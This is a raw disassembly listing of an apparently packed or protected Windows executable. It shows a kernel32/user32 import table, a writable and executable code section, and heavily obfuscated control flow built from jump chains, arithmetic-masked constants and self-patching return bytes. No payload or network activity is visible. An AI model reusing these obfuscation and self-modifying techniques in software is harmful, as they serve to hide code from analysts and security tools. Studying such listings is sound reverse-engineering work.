dword_434E40	dd 152340h		; DATA XREF: .text:0040E5C5w
					; sub_414E3F:loc_414E50r ...
		align 200h
_data		ends

; Section 5. (virtual address 00036000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00036000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
hj9qe8kp	segment	para public 'DATA' use32
		assume cs:hj9qe8kp
		;org 436000h
dword_436000	dd 360CCh, 0		; DATA XREF: y3hmw1t3:00461812o
					; y3hmw1t3:00475DF9o
		dd 0FFFFFFFFh, 3603Ch, 360B4h, 36108h, 0
		dd 0FFFFFFFFh, 360E8h, 36104h, 5 dup(0)
aKernel32_dll_1	db 'kernel32.dll',0
		align 4
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h
		dd 694C6461h, 72617262h, 4179h,	65470000h, 6F725074h, 64644163h
		dd 73736572h, 0
		dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h
		dd 6C6C416Ch, 636Fh, 69560000h,	61757472h, 6572466Ch, 65h
		dd 77E79F93h, 77E805D8h, 77E7A5FDh, 77E75CB5h, 77E7980Ah
		dd 77E79E34h, 3604Ch, 36060h, 36070h, 36084h, 36094h, 360A4h
		dd 0
aUser32_dll_1	db 'user32.dll',0
		align 4
		dd 654D0000h, 67617373h, 786F4265h, 41h, 77D6ADD7h, 360F4h
		dd 3BDh	dup(0)
hj9qe8kp	ends

; ---------------------------------------------------------------------------
; Section 6. (virtual address 00037000)
; Virtual size			: 00018000 (  98304.)
; Section size in file		: 00018000 (  98304.)
; Offset to raw	data for section: 00037000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
kgbikm34	segment	para public 'CODE' use32
		assume cs:kgbikm34
		;org 437000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

loc_437000:				; DATA XREF: y3hmw1t3:004618C4o
		call	sub_44B64C
		or	eax, eax
		jnz	loc_43B15E
		jmp	loc_4425C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_437012:				; CODE XREF: sub_43EAEE:loc_44A690j
		lea	eax, sub_441819
		mov	byte ptr [eax],	0C3h
		jmp	sub_441819
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441819

loc_437020:				; CODE XREF: sub_441819j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_44D600

loc_43702A:				; DATA XREF: sub_440EFA-1AA3o
		mov	eax, [eax]
		push	eax
		push	3E2ADE61h
		pop	eax
		xor	eax, 2FE1F559h
		add	eax, 0EBE03665h
		jmp	loc_449752
; END OF FUNCTION CHUNK	FOR sub_441819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DA2B

loc_437044:				; CODE XREF: sub_44DA2B-1253Aj
		call	sub_43BF6F
		mov	ds:off_41E0A4, eax

loc_43704F:				; CODE XREF: kgbikm34:004444B1j
		lea	eax, sub_44DA2B

loc_437055:				; CODE XREF: kgbikm34:loc_44D207j
		mov	byte ptr [eax],	0C3h
		jmp	loc_445151
; END OF FUNCTION CHUNK	FOR sub_44DA2B

; =============== S U B	R O U T	I N E =======================================



sub_43705D	proc near		; CODE XREF: sub_41A617+14Cp
					; sub_43705D:loc_44043Dj
					; DATA XREF: ...

; FUNCTION CHUNK AT 0044043D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00449534 SIZE 00000005 BYTES

		call	sub_440443
		jmp	loc_449534
sub_43705D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440380

loc_437067:				; CODE XREF: sub_440380+37D5j
		mov	edi, eax
; END OF FUNCTION CHUNK	FOR sub_440380
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_437069:				; CODE XREF: sub_444A5E:loc_443B44j
		rol	eax, 5
		xor	eax, 8505E642h
		add	eax, 484DFDF8h
		add	eax, ebp
		add	eax, 696037FDh
		jmp	loc_44A5EF
; ---------------------------------------------------------------------------

loc_437085:				; CODE XREF: sub_444A5E:loc_443B4Aj
		jz	loc_44748B

loc_43708B:				; CODE XREF: sub_43C55C+FDB0j
		jmp	loc_43DF2C
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_437090:				; CODE XREF: sub_4471D6-2AFBj
		jmp	loc_43BC4E
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------

loc_437095:				; CODE XREF: kgbikm34:0043A292j
		jmp	loc_4374CC
; ---------------------------------------------------------------------------
		popf
		jmp	loc_447489
; ---------------------------------------------------------------------------

loc_4370A0:				; CODE XREF: kgbikm34:0043DB5Fj
		xchg	edi, ebx
		and	esi, 2D9822F1h
		xchg	ecx, [ebp+0]
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_4370AB:				; CODE XREF: sub_4494B1-8B8j
		rol	edi, 17h

loc_4370AE:				; CODE XREF: kgbikm34:00448AE9j
		or	edi, 0EE1BE45Ch
		rol	edi, 8
		jmp	loc_44D8C8
; END OF FUNCTION CHUNK	FOR sub_4494B1
; ---------------------------------------------------------------------------
		jbe	loc_441F2A
		jmp	loc_4437D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_4370C7:				; CODE XREF: sub_44B20C-C31Dj
		pop	edx
		add	edx, 1BD91796h
		js	loc_448844

loc_4370D4:				; CODE XREF: kgbikm34:00444450j
		jmp	loc_4429F1
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
		jno	loc_443AE2
		jmp	loc_43CCBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4435FE

loc_4370E4:				; CODE XREF: sub_4435FE:loc_448026j
		push	offset sub_440834
		jmp	nullsub_329
; END OF FUNCTION CHUNK	FOR sub_4435FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D87

loc_4370EE:				; CODE XREF: sub_449D87:loc_44C82Bj
		test	esi, 800h
		jmp	loc_43BAB6
; END OF FUNCTION CHUNK	FOR sub_449D87
; ---------------------------------------------------------------------------
		mov	ds:off_41E064, eax
		lea	eax, loc_44768E

loc_437105:				; CODE XREF: kgbikm34:loc_442A6Bj
		push	offset loc_43F706
		jmp	loc_444354
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_176. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6F1

loc_437110:				; CODE XREF: sub_44B6F1:loc_4469C4j
		push	16D71E66h
		pop	esi
		sub	esi, 0D79E2618h
		xor	esi, 0B61412EBh
		add	esi, ebp
		jmp	loc_44650C
; END OF FUNCTION CHUNK	FOR sub_44B6F1
; ---------------------------------------------------------------------------

loc_437129:				; DATA XREF: sub_43CFA5:loc_43A595o
		jno	loc_44DCCE
		mov	eax, [ebp+8]
		test	byte ptr [eax-10h], 38h
		call	sub_44A9BB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_43713C:				; CODE XREF: sub_43CAB5+FDADj
		jmp	loc_441932
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_437141:				; CODE XREF: sub_4474D5:loc_44216Fj
		push	eax
		pop	ebp
		xchg	ecx, [esp+0]
		mov	eax, ecx
		jmp	loc_43A464
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------

loc_43714D:				; CODE XREF: kgbikm34:0044C0E0j
		sub	esi, 521EEBAFh
		add	esi, 5934EB6Ch
		popf
		xchg	esi, [esp]
		jmp	loc_43CB82
; ---------------------------------------------------------------------------
		or	esi, 44363B28h
		jmp	loc_44368C
; ---------------------------------------------------------------------------

loc_43716D:				; DATA XREF: sub_44CA03+Do
		mov	ds:dword_437494, eax
; START	OF FUNCTION CHUNK FOR sub_4372E5

loc_437173:				; CODE XREF: sub_4372E5+Ej
					; sub_4372E5+DDCCj
		push	offset loc_43E5BB
		jmp	nullsub_22
; END OF FUNCTION CHUNK	FOR sub_4372E5
; ---------------------------------------------------------------------------

loc_43717D:				; CODE XREF: kgbikm34:0044A46Bj
		xor	ecx, ebx

; =============== S U B	R O U T	I N E =======================================



sub_43717F	proc near		; CODE XREF: sub_43F039+6E02p

; FUNCTION CHUNK AT 004460CB SIZE 0000001F BYTES
; FUNCTION CHUNK AT 004488C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449C5D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AABB SIZE 00000008 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ebx
		jmp	loc_4488C1
sub_43717F	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_43718A:				; CODE XREF: sub_44A80D+2A6Aj
		jmp	loc_43E4F6
; END OF FUNCTION CHUNK	FOR sub_44A80D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445E00

loc_43718F:				; CODE XREF: sub_445E00:loc_43F007j
		mov	ds:off_41E0D4, eax
		lea	eax, loc_440261
		call	sub_448D67

locret_4371A0:				; CODE XREF: kgbikm34:loc_438B94j
		retn
; END OF FUNCTION CHUNK	FOR sub_445E00

; =============== S U B	R O U T	I N E =======================================



sub_4371A1	proc near		; DATA XREF: kgbikm34:00441960o
		xchg	ecx, [esp+0]
		jmp	sub_44A9D8
sub_4371A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4371A9	proc near		; CODE XREF: kgbikm34:loc_44AB23p
					; kgbikm34:0044B095j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043FEEF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00441AB4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004421D5 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	0FFFFFFF1h
		push	eax
		mov	eax, esi
		jmp	loc_441AB4
sub_4371A9	endp

; ---------------------------------------------------------------------------

loc_4371B7:				; CODE XREF: kgbikm34:loc_444620j
		jns	loc_44A8D2
		pop	edi
		mov	ecx, [edx]
		test	edx, esi
		jmp	loc_43BFEE
; ---------------------------------------------------------------------------

loc_4371C7:				; CODE XREF: kgbikm34:loc_43F1EAj
		jnz	loc_444183
		jmp	loc_443E87
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_4371D3:				; CODE XREF: sub_43D494+B8F4j
		jmp	loc_43A3B6
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------

loc_4371D8:				; CODE XREF: kgbikm34:00437333j
		jmp	loc_448FA3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_213. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_4371DE:				; CODE XREF: sub_444A5E+879Ej
		jmp	loc_443CD3
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------

loc_4371E3:				; CODE XREF: kgbikm34:00441F05j
		jmp	sub_44DE2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437954

loc_4371E8:				; CODE XREF: sub_437954+7D26j
		jmp	nullsub_36
; END OF FUNCTION CHUNK	FOR sub_437954
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D114

loc_4371ED:				; CODE XREF: kgbikm34:loc_448C30j
					; sub_43D114:loc_44A0D7j ...
		add	ecx, 0EBB4866Bh
		xchg	ecx, [esp+0]
		jmp	loc_437924
; END OF FUNCTION CHUNK	FOR sub_43D114
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_4371FB:				; CODE XREF: sub_43BCAD+6CF2j
		xchg	ebx, ecx
		push	205CA51Eh
		adc	edx, ecx
		jns	loc_439853
		jmp	loc_43D401
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------

loc_43720F:				; CODE XREF: kgbikm34:0043E6EAj
		mov	ecx, ebp
		xchg	ecx, [esp]

loc_437214:				; CODE XREF: kgbikm34:loc_448C3Cj
		mov	ebp, esp
		push	ecx
		jmp	loc_44AB23
; ---------------------------------------------------------------------------
		adc	ebx, 0DE527F77h
		jmp	loc_44A4AC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B8A2

loc_437228:				; CODE XREF: sub_44B8A2+215Cj
		jmp	loc_44802B
; END OF FUNCTION CHUNK	FOR sub_44B8A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4429A6

loc_43722D:				; CODE XREF: sub_4429A6-1ECj
		jmp	loc_43C4EB
; END OF FUNCTION CHUNK	FOR sub_4429A6
; ---------------------------------------------------------------------------

loc_437232:				; CODE XREF: kgbikm34:0044A831j
		and	ebp, edx

loc_437234:				; CODE XREF: kgbikm34:loc_43DB2Ej
		mov	eax, [ebp-4]
		push	offset loc_43DB0F
		jmp	loc_447A54
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_284. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F72

loc_437242:				; CODE XREF: sub_439F72+Bj
		jmp	loc_449DEB
; END OF FUNCTION CHUNK	FOR sub_439F72
; ---------------------------------------------------------------------------
		rol	ebp, 0Bh
		jmp	loc_4375FA
; ---------------------------------------------------------------------------

loc_43724F:				; CODE XREF: kgbikm34:loc_44A191j
		push	offset sub_44B18D
		jmp	locret_44BB66
; ---------------------------------------------------------------------------

loc_437259:				; CODE XREF: kgbikm34:0044244Bj
					; kgbikm34:00442470j
		xor	edx, 0A76AF0DCh
		sub	edx, 0AAA33D9Ah
		add	edx, 5AFB086Ch
		push	offset loc_44058B
		jmp	locret_44DD23
; ---------------------------------------------------------------------------
		mov	eax, 5A4FBBBh
		call	sub_43BF6F
		push	edx
		push	27F26BD3h
		pop	edx
		xor	edx, 72261706h
		and	edx, 5E53EBE6h
		jnz	loc_43D057

; =============== S U B	R O U T	I N E =======================================



sub_437298	proc near		; CODE XREF: sub_43DAFB:loc_44320Aj

; FUNCTION CHUNK AT 0043E407 SIZE 00000005 BYTES

		push	ebx
		mov	ebx, edx
		push	offset sub_440AC0
		jmp	loc_43E407
sub_437298	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_4372A5:				; CODE XREF: sub_449F77:loc_44227Ej
		lea	eax, nullsub_11
		mov	byte ptr [eax],	0C3h
		jmp	loc_43FB4D
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp]
		call	sub_445A5E
		jmp	loc_43FAFB
; ---------------------------------------------------------------------------

loc_4372C7:				; CODE XREF: kgbikm34:0044D8B5j
		call	sub_43C7C6
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A5E

loc_4372CD:				; CODE XREF: sub_445A5E+Cj
		jmp	loc_44A3A8
; END OF FUNCTION CHUNK	FOR sub_445A5E
; ---------------------------------------------------------------------------

loc_4372D2:				; CODE XREF: kgbikm34:004434DEj
		jmp	loc_43D17F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D599

loc_4372D7:				; CODE XREF: sub_44D599-DF67j
		jmp	nullsub_244
; END OF FUNCTION CHUNK	FOR sub_44D599
; ---------------------------------------------------------------------------
dword_4372DC	dd 0E0C02C72h		; DATA XREF: sub_43AD9F+6r
					; sub_43AD9F:loc_442827r ...
; ---------------------------------------------------------------------------

loc_4372E0:				; CODE XREF: kgbikm34:00443FB8j
		jmp	loc_4497B9

; =============== S U B	R O U T	I N E =======================================



sub_4372E5	proc near		; CODE XREF: sub_401000+40p
					; sub_401000+50p ...

; FUNCTION CHUNK AT 00437173 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043A899 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043ADB0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CC07 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043F538 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043F5C8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004421E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442CD7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004450A9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044BEFC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044D0D1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D874 SIZE 00000019 BYTES

		jb	loc_4450A9
		mov	eax, ds:dword_437494
		or	eax, eax
		jnz	loc_437173
		jmp	loc_43A899
sub_4372E5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_4372FE:				; CODE XREF: sub_444A5E+75D2j
		popf
		jmp	loc_441B45
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------

loc_437304:				; CODE XREF: kgbikm34:004403D0j
		test	ecx, 5E00EE6Eh
		jmp	loc_44D715

; =============== S U B	R O U T	I N E =======================================



sub_43730F	proc near		; CODE XREF: sub_4488AF-61F3p
					; kgbikm34:0044424Bj

; FUNCTION CHUNK AT 0043898E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444944 SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		pop	ebx
		call	sub_43B051
		jmp	loc_43898E
sub_43730F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43731E:				; CODE XREF: kgbikm34:0043A140j
		mov	esi, ebp
		pop	ebp
		add	esi, 0BE2274E6h
		xor	esi, 0F4FF866Ah
		add	esi, 0F9A17B09h
		jmp	loc_4371D8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_187. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_437339:				; CODE XREF: sub_44B6E1-BD0j
		jmp	loc_4379CA
; END OF FUNCTION CHUNK	FOR sub_44B6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C267

loc_43733E:				; CODE XREF: sub_43C267+2725j
		jmp	sub_445A5E
; END OF FUNCTION CHUNK	FOR sub_43C267
; ---------------------------------------------------------------------------

loc_437343:				; DATA XREF: sub_43AB97:loc_442897o
		jz	loc_43F9C6
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_43F325
		mov	eax, [ebp-8]
		shl	eax, 3
		add	[ebp-8], eax
		jmp	loc_43A100
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B34A

loc_437363:				; CODE XREF: sub_44B34A-11A61j
		push	7818E366h
		pop	eax
		and	eax, 17CF426h
		xor	eax, 11D142E3h
		call	sub_43BF6F
		jmp	loc_441670
; END OF FUNCTION CHUNK	FOR sub_44B34A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DAF3

loc_43737F:				; CODE XREF: sub_44DAF3:loc_43A1E8j
		mov	[ebp-24h], eax
		push	83962B9Ch
		pop	eax
		and	eax, 0D86BBC11h
		or	eax, 0C2A1B250h
		add	eax, 0E0853042h
		add	eax, ebp
		add	eax, 5CD7154Ah
		jmp	loc_43E47A
; END OF FUNCTION CHUNK	FOR sub_44DAF3
; ---------------------------------------------------------------------------

loc_4373A7:				; CODE XREF: kgbikm34:loc_445C38j
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		call	sub_44933F
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_4373B2:				; CODE XREF: sub_43B932+9222j
		jmp	nullsub_122
; END OF FUNCTION CHUNK	FOR sub_43B932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_4373B7:				; CODE XREF: sub_43741E+794Ej
		jmp	loc_440B8B
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D26

loc_4373BC:				; CODE XREF: sub_444D26+921Cj
		xchg	ecx, edx
		cmp	esi, 4F2E97F3h
		jmp	loc_43CC01
; END OF FUNCTION CHUNK	FOR sub_444D26
; ---------------------------------------------------------------------------

locret_4373C9:				; CODE XREF: kgbikm34:0043EAE3j
		retn
; ---------------------------------------------------------------------------

loc_4373CA:				; DATA XREF: kgbikm34:0043C6D7o
		call	sub_44A6D1
		jmp	loc_444A67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481F3

loc_4373D4:				; CODE XREF: sub_4481F3:loc_439CF3j
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx
		jmp	loc_44BC07
; END OF FUNCTION CHUNK	FOR sub_4481F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_4373E2:				; CODE XREF: sub_44114F-60C5j
		or	ecx, 0C346DE4Ch
		sub	ecx, 0BD9FBA9Dh
		add	ecx, 0F2956DF6h
		popf
		call	sub_442C44

loc_4373FA:				; CODE XREF: sub_44DAE4-163E6j
		jnz	loc_4436FB
		push	edx
		rol	ebp, 2
		not	ebx
		and	esi, ebx
		jmp	loc_4436FB
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------

loc_43740D:				; CODE XREF: kgbikm34:0044D337j
		mov	edx, esi
		pop	esi
		call	sub_439705
		add	esi, eax
		and	ecx, edx
		jmp	sub_44D831

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43741E	proc near		; DATA XREF: sub_43A4CEo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004373B7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004374BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438873 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00438BEB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043A867 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043BC40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C8A0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043ED66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044007C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440B8B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00440C71 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004424B6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004427C5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00442CBA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444A9C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044524B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445464 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044594D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445C01 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044A2C8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044A365 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044BA7D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044BDED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C297 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C3C5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044C979 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044D60F SIZE 0000000C BYTES

		push	ebp
		mov	ebp, esp
		push	eax
		push	ecx
		pop	eax
		jmp	loc_44A365
sub_43741E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_437429	proc near		; CODE XREF: sub_438B6B+3C23p
					; kgbikm34:00446BA1j
		xchg	ebx, [esp+0]
		pop	ebx
		add	edi, 0C76D4A3Dh
		call	sub_446634
		add	eax, 6ABFB114h
		call	sub_43A9E9

loc_437443:				; CODE XREF: kgbikm34:00445D06j
		jmp	sub_43D21A
sub_437429	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444BA3

loc_437448:				; CODE XREF: sub_444BA3+13j
		jmp	nullsub_150
; END OF FUNCTION CHUNK	FOR sub_444BA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439705

loc_43744D:				; CODE XREF: sub_439705+13C2j
		jmp	loc_439126
; END OF FUNCTION CHUNK	FOR sub_439705
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_437452:				; CODE XREF: sub_4471D6+2B4Fj
		call	sub_441093
		call	sub_441086

loc_43745C:				; CODE XREF: kgbikm34:0043C32Dj
		jo	loc_44C908
		jnp	loc_43B4E2
		jmp	sub_438C9C
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_43746D:				; CODE XREF: sub_448C95:loc_439814j
					; sub_43B0B7:loc_44AA35j
		mov	eax, [ebp-8]
		call	sub_440E0B

loc_437475:				; CODE XREF: kgbikm34:loc_437A32j
					; sub_44D21F:loc_437B06j ...
		mov	esp, ebp
		xchg	esi, [esp+0]
		jmp	loc_440E02
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_43747F:				; CODE XREF: sub_441D2F-8022j
		sbb	ebx, 8AC85572h
		push	ebp

loc_437486:				; CODE XREF: sub_43D632:loc_44B113j
		push	eax
		lea	eax, dword_4400BC
		call	sub_43C2DA
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------
		dw 6D0Ah
dword_437494	dd 6C5F4477h		; DATA XREF: kgbikm34:loc_43716Dw
					; sub_4372E5+6r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447FC7

loc_437498:				; CODE XREF: sub_447FC7-D8Bj
		jmp	nullsub_124
; END OF FUNCTION CHUNK	FOR sub_447FC7
; ---------------------------------------------------------------------------

loc_43749D:				; CODE XREF: kgbikm34:0044278Dj
		jmp	locret_44D727
; ---------------------------------------------------------------------------

loc_4374A2:				; CODE XREF: kgbikm34:0043F2B7j
		jmp	nullsub_282
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B34A

loc_4374A7:				; CODE XREF: sub_44B34A-C644j
		jmp	sub_44BB9F
; END OF FUNCTION CHUNK	FOR sub_44B34A
; ---------------------------------------------------------------------------
		push	esi
		push	2AEB6FBDh
		call	sub_43DD80
; START	OF FUNCTION CHUNK FOR sub_43B26D

loc_4374B7:				; CODE XREF: sub_43B26D+3j
		jmp	loc_44CF90
; END OF FUNCTION CHUNK	FOR sub_43B26D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_4374BD:				; CODE XREF: sub_43741E+12F5Aj
		jmp	loc_440C71
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_4374C2:				; CODE XREF: sub_449F77-14D9j
		jmp	loc_44A14F
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B99

loc_4374C7:				; CODE XREF: sub_438B99+Bj
		jmp	loc_43D3FB
; END OF FUNCTION CHUNK	FOR sub_438B99
; ---------------------------------------------------------------------------

loc_4374CC:				; CODE XREF: kgbikm34:loc_437095j
		mov	edx, ebx
		pop	ebx
		mov	eax, [esp]
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp]
		jmp	loc_43BFCC
; ---------------------------------------------------------------------------

loc_4374DD:				; CODE XREF: kgbikm34:0043B3E0j
		jmp	ds:dword_41E150
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_4374E3:				; CODE XREF: sub_439BDE+44BDj
		jmp	sub_4487F2
; END OF FUNCTION CHUNK	FOR sub_439BDE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_344. PRESS KEYPAD	"+" TO EXPAND]
		db 80h,	33h, 98h
		dd 34870000h, 5ED68B24h, 0ECC7E9h, 58D5000h, 449200h, 0A94AE8h
		dd 4A60B800h, 68511F1Dh, 9E223BE6h, 0ACE18159h,	0C1FC212Dh
		dd 0C18104C1h, 0A94CB2E9h, 0E91BC1C1h, 101DFh, 80FC458Bh
		dd 850FE838h, 1409Eh, 0E9FC458Bh, 148C2h, 0B968579Ch, 0E90043B6h
		dd 105Dh

